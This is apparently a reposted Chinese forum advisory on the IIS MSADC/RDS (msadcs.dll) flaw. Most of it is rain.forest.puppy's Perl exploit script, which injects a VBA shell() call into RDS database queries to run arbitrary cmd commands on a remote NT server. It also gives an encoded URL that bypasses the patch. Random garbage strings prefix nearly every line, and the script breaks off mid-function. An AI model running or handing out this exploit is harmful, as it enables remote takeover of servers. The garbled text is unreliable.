IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
6B=: P3Y p"UdD 涉及程序:
o<8('j
Microsoft NT server
<1%(%KdN[ 8\rca:cF
描述:
kG/1 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
<=NnrZOF 4
neZw'm 详细:
C}h(WOcr`X 如果你没有时间读详细内容的话,就删除:
93]63NY c:\Program Files\Common Files\System\Msadc\msadcs.dll
0`x>p6.)G 有关的安全问题就没有了。
AkQ(V R!M' 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
rWTaCU^qV \p(S4?I7 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
!, BJO3& 关于利用ODBC远程漏洞的描述,请参看:
d_25]B( $`|hF[tv http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm C~h#pAh Qn$'bK2V 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
\6wltTW]# http://www.microsoft.com/security/bulletins/MS99-025faq.asp &V?+Y2 nLm'a_ 这里不再论述。
ZWCsrV*; a fa\6]m 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
*:CTIV5N0 !igPyhi,hl /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@&m [w'tn 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
ww{k_'RRJ FEk9a^Xyx Xex7Lr& #将下面这段保存为txt文件,然后: "perl -x 文件名"
X%YZQc9 CH4Nz'X2 #!perl
6>WkisxG #
jWUrw # MSADC/RDS 'usage' (aka exploit) script
9K&$8aD #
^UvL1+ # by rain.forest.puppy
0XA\Ag\`G #
!f/K:CK| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
vc: kY # beta test and find errors!
eQ'E`S_d >Lcu use Socket; use Getopt::Std;
? X8`+`nh getopts("e:vd:h:XR", \%args);
a?y ucA _/:- -Z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&u:U"j spA|[\Nl if (!defined $args{h} && !defined $args{R}) {
96\FJHtZ print qq~
$*{,Z<|2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
;l;jTb ^l -h <host> = host you want to scan (ip or domain)
"Erphn -d <seconds> = delay between calls, default 1 second
NuO@Nr -X = dump Index Server path table, if available
DNmC
-v = verbose
\Q#pu;Y*N] -e = external dictionary file for step 5
^6l5@#)w ~;HASHu Or a -R will resume a command session
Z2W&_(^.h {Vu=qNx ~; exit;}
/uWUQ#9 U9]&KNx $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
]4t1dVD if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Xn"#Zy_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
#bd=G(o~6 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Jj]<SWh $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
l3u [ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
'{,JuX"n H2],auBY if (!defined $args{R}){ $ret = &has_msadc;
`m'RvU c die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
mCnl@ .B^tEBGVD print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]4O!q}@Cd . "cmd /c ";
GNW$:=0u $in=<STDIN>; chomp $in;
y0 vo-Q $command="cmd /c " . $in ;
#`@)lU+/ 0Y0z7A: if (defined $args{R}) {&load; exit;}
@u+LF]MY m<n+1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
s3Bo'hGxG &try_btcustmr;
hzAuj0-A #IppjaPl8 print "\nStep 2: Trying to make our own DSN...";
VN-0hw/A &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
.\`MoH tuH#Cy print "\nStep 3: Trying known DSNs...";
BHpay &known_dsn;
&4wSX{c/P d1yLDj? print "\nStep 4: Trying known .mdbs...";
VKPsg &known_mdb;
)E",)}Nh #: EhGlq8 if (defined $args{e}){
GfgHFv print "\nStep 5: Trying dictionary of DSN names...";
&x (D%+ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
k7JC~D
E# #pWy%U print "Sorry Charley...maybe next time?\n";
XFFm'W6@ exit;
+v%+E{F$+ .5HD i- ##############################################################################
Zp/P/97p l/?bXNt sub sendraw { # ripped and modded from whisker
Zc";R!At sleep($delay); # it's a DoS on the server! At least on mine...
Nl4uQ_" my ($pstr)=@_;
.D7Gog3^< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#}6~>A die("Socket problems\n");
P=_W{6 if(connect(S,pack "SnA4x8",2,80,$target)){
VVF9X(^rQ select(S); $|=1;
e<DcuF<ZS print $pstr; my @in=<S>;
ybf,pDY#f select(STDOUT); close(S);
pvWNiW:~k return @in;
PY CG#U } else { die("Can't connect...\n"); }}
<}^p5| )1R[~]y ##############################################################################
MHE/#G <&+0[9x sub make_header { # make the HTTP request
(;Bh7Ft my $msadc=<<EOT
6=%\@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2UR1T~r User-Agent: ACTIVEDATA
v?d`fd Host: $ip
9QD+ Content-Length: $clen
4[Ko| Connection: Keep-Alive
G_WFg$7G% 1 )u,% ADCClientVersion:01.06
r"|do2s Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
lE+Duap: ]'<}kJtN. --!ADM!ROX!YOUR!WORLD!
iqF|IVPoi Content-Type: application/x-varg
&w=ul'R98 Content-Length: $reqlen
-{oZK{a1 WM9({BZ EOT
;<MHl[jJD ; $msadc=~s/\n/\r\n/g;
4<EC50@. return $msadc;}
{Zs
EYUP njNqUo> ##############################################################################
ra
,.vJuT K6F05h 5S sub make_req { # make the RDS request
t[HsqnP my ($switch, $p1, $p2)=@_;
pgUjje># my $req=""; my $t1, $t2, $query, $dsn;
*>GRU8_}
%U[H`E if ($switch==1){ # this is the btcustmr.mdb query
B<|Vm.D $query="Select * from Customers where City=" . make_shell();
5IgO4 <B $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6!6R3Za$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
TCgW^iu {iQ4jJ`n elsif ($switch==2){ # this is general make table query
HKC&grp $query="create table AZZ (B int, C varchar(10))";
Wa!C2nB $dsn="$p1";}
`OZiN;*| 1k%HGQM{ elsif ($switch==3){ # this is general exploit table query
Ea[SS@'R $query="select * from AZZ where C=" . make_shell();
.*?-j?U. $dsn="$p1";}
1vh[sKv9% VYK%0S9yH[ elsif ($switch==4){ # attempt to hork file info from index server
{p$X*2ReB $query="select path from scope()";
4y)6!p $dsn="Provider=MSIDXS;";}
1Fsa}UK >qMzQw2 elsif ($switch==5){ # bad query
l:a#B
$query="select";
-LFk7a $dsn="$p1";}
Yi`DRkp]3 do.XMdit $t1= make_unicode($query);
|*~SR.[` $t2= make_unicode($dsn);
(76tYt~I= $req = "\x02\x00\x03\x00";
kK&AK2 $req.= "\x08\x00" . pack ("S1", length($t1));
5o^\jTEl^ $req.= "\x00\x00" . $t1 ;
M"Y,kA|+ $req.= "\x08\x00" . pack ("S1", length($t2));
WxJaE;`Ige $req.= "\x00\x00" . $t2 ;
L 'e|D=y $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Lq#!}QcW= return $req;}
8yswi[ hBDmC_\~ ##############################################################################
!%D;H ~mQ $m-@ICG# sub make_shell { # this makes the shell() statement
6,l5Q return "'|shell(\"$command\")|'";}
+}g6X6m Rx@0EPV ##############################################################################
FZ FPzH Lu71Qdu09 sub make_unicode { # quick little function to convert to unicode
*y~~~ 'J/ my ($in)=@_; my $out;
e\ZV^h}TQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
gP!k[E,Q8 return $out;}
QNZ#SG8 bz`rSp8h ##############################################################################
H=XdgOui eV9,G8 sub rdo_success { # checks for RDO return success (this is kludge)
0,cU^HMA my (@in) = @_; my $base=content_start(@in);
/W{^hVkvC if($in[$base]=~/multipart\/mixed/){
w,1*dn return 1 if( $in[$base+10]=~/^\x09\x00/ );}
R$2\Xl@qQF return 0;}
i66/2BUh. `@&WELFv{ ##############################################################################
GCrsf F_iZ|B sub make_dsn { # this makes a DSN for us
,H/BW`rL]# my @drives=("c","d","e","f");
N.V5>2 print "\nMaking DSN: ";
$%1oZ{&M foreach $drive (@drives) {
] $F% print "$drive: ";
uOx"oR| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
BWkTQd<t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
wk2Ff*& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
&!>.)I` $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
<Ug1g0. return 0 if $2 eq "404"; # not found/doesn't exist
=>e>
r~cW if($2 eq "200") {
"Qk)EY foreach $line (@results) {
.sZ"|j9m return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Wm!cjGK } return 0;}
HC$}KoZkC A4)TJY
3g ##############################################################################
5_rx$avm g
T0@pxl sub verify_exists {
b~!Q3o'W my ($page)=@_;
LO,:k+&A+ my @results=sendraw("GET $page HTTP/1.0\n\n");
7Y
4! return $results[0];}
,H]S-uK~ (Wn^~-`=+ ##############################################################################
Xz'o<S p-6T,') sub try_btcustmr {
5[`f(; my @drives=("c","d","e","f");
*n9=Q9 my @dirs=("winnt","winnt35","winnt351","win","windows");
e'3y^Vg M?qvI foreach $dir (@dirs) {
yh+.Yn=+ print "$dir -> "; # fun status so you can see progress
=]L ALw foreach $drive (@drives) {
eB<R"Yvi print "$drive: "; # ditto
*3(mNpi{_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
T?*f}J $reqlenlen=length( "$reqlen" );
5~RR
_G $clen= 206 + $reqlenlen + $reqlen;
M
~6$kT lG`%4}1 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.6pVt_f0/ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`dgZ `# else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O]?PC^GGY =AX"'q ##############################################################################
j^m pkv<P ,a":/ /[ sub odbc_error {
@h%Nn)QBq my (@in)=@_; my $base;
dTQW /kAHQ my $base = content_start(@in);
7J|nqr`>t if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]4,eCT $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ime"}*9 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PebyH"M( $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]9}^}U1." return $in[$base+4].$in[$base+5].$in[$base+6];}
"|/Q5*L print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
a6 "-,Kg print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$v1_M1 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
d*LW32B@ zCmx 1Djz ##############################################################################
.i3_D?? KAnq8B!h sub verbose {
(JT
273 my ($in)=@_;
2I_~]X53[ return if !$verbose;
3yLJWHO%W print STDOUT "\n$in\n";}
ka*#O"}L8 FlT5R*m ##############################################################################
WIw*//nw yXCHBz 6& sub save {
%0%Tp my ($p1, $p2, $p3, $p4)=@_;
4i+H(d n open(OUT, ">rds.save") || print "Problem saving parameters...\n";
!d1a9los print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_W>xFBy
close OUT;}
[6\b(kS+ sL#MYW5E ##############################################################################
a" L9jrVrw sY&Z/Y sub load {
vywpX^KPv my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9<5S!?JL open(IN,"<rds.save") || die("Couldn't open rds.save\n");
pL2{zW`FDh @p=<IN>; close(IN);
nPUD6<bF $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#cqI0ny?G $target= inet_aton($ip) || die("inet_aton problems");
I
MG^L print "Resuming to $ip ...";
/])P{"v$^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]&X}C{v)G if($p[1]==1) {
*rA]q' jM $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/Edq[5Ah $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
YRU95K[ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
H'&[kgnQ@ if (rdo_success(@results)){print "Success!\n";}
/25Ay else { print "failed\n"; verbose(odbc_error(@results));}}
s133N? elsif ($p[1]==3){
0x fF if(run_query("$p[3]")){
7\yh<?`V8 print "Success!\n";} else { print "failed\n"; }}
.Gb!mG elsif ($p[1]==4){
Y;kiU if(run_query($drvst . "$p[3]")){
XfN(7d0 print "Success!\n"; } else { print "failed\n"; }}
^95njE`>t` exit;}
E[<*Al+N @]Lu"h#u= ##############################################################################
LX#gc.c 1o?uf,H7O sub create_table {
;*WG9Y(W my ($in)=@_;
-!
^D8^s $reqlen=length( make_req(2,$in,"") ) - 28;
T@a|*.V $reqlenlen=length( "$reqlen" );
e/}4Pt $clen= 206 + $reqlenlen + $reqlen;
|^"0bu" my @results=sendraw(make_header() . make_req(2,$in,""));
S:1g(f*85 return 1 if rdo_success(@results);
,(NN)Oj my $temp= odbc_error(@results); verbose($temp);
h=B=
J return 1 if $temp=~/Table 'AZZ' already exists/;
\} _,g return 0;}
-B?cF9 w8a49 Fv ##############################################################################
\J;_%-Z I:("f+
H sub known_dsn {
z, n[}Q#u # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5<YL^m{/L my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
tTWEhHQ` "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
'UM *7 "banner", "banners", "ads", "ADCDemo", "ADCTest");
!@ {sM6U -F MonM foreach $dSn (@dsns) {
.h(iyCxP print ".";
U*?`tdXJ$ next if (!is_access("DSN=$dSn"));
Zn[ppsz| if(create_table("DSN=$dSn")){
qQ8+gZG$R print "$dSn successful\n";
<>)N$$Rx& if(run_query("DSN=$dSn")){
_PSOT5{ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.br6x^\< print "Something's borked. Use verbose next time\n";}}} print "\n";}
2OQ\ z;s $=) Pky-~ ##############################################################################
{(I":rt# (%mV,2|:20 sub is_access {
o=Y'ns^a( my ($in)=@_;
]J@-,FFC $reqlen=length( make_req(5,$in,"") ) - 28;
D"%> $reqlenlen=length( "$reqlen" );
Fm*npK $clen= 206 + $reqlenlen + $reqlen;
QNH3\<IS my @results=sendraw(make_header() . make_req(5,$in,""));
z"Mk(d@-E my $temp= odbc_error(@results);
[v\m)5 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<~uzKs0 return 0;}
Q!_d6-*u SmIcqM ##############################################################################
AREjS$ s;$f6X sub run_query {
`46z D
? my ($in)=@_;
f+8 QAvh $reqlen=length( make_req(3,$in,"") ) - 28;
'gHg&E9E& $reqlenlen=length( "$reqlen" );
\`E^>6!]q $clen= 206 + $reqlenlen + $reqlen;
Ov^##E my @results=sendraw(make_header() . make_req(3,$in,""));
~H1<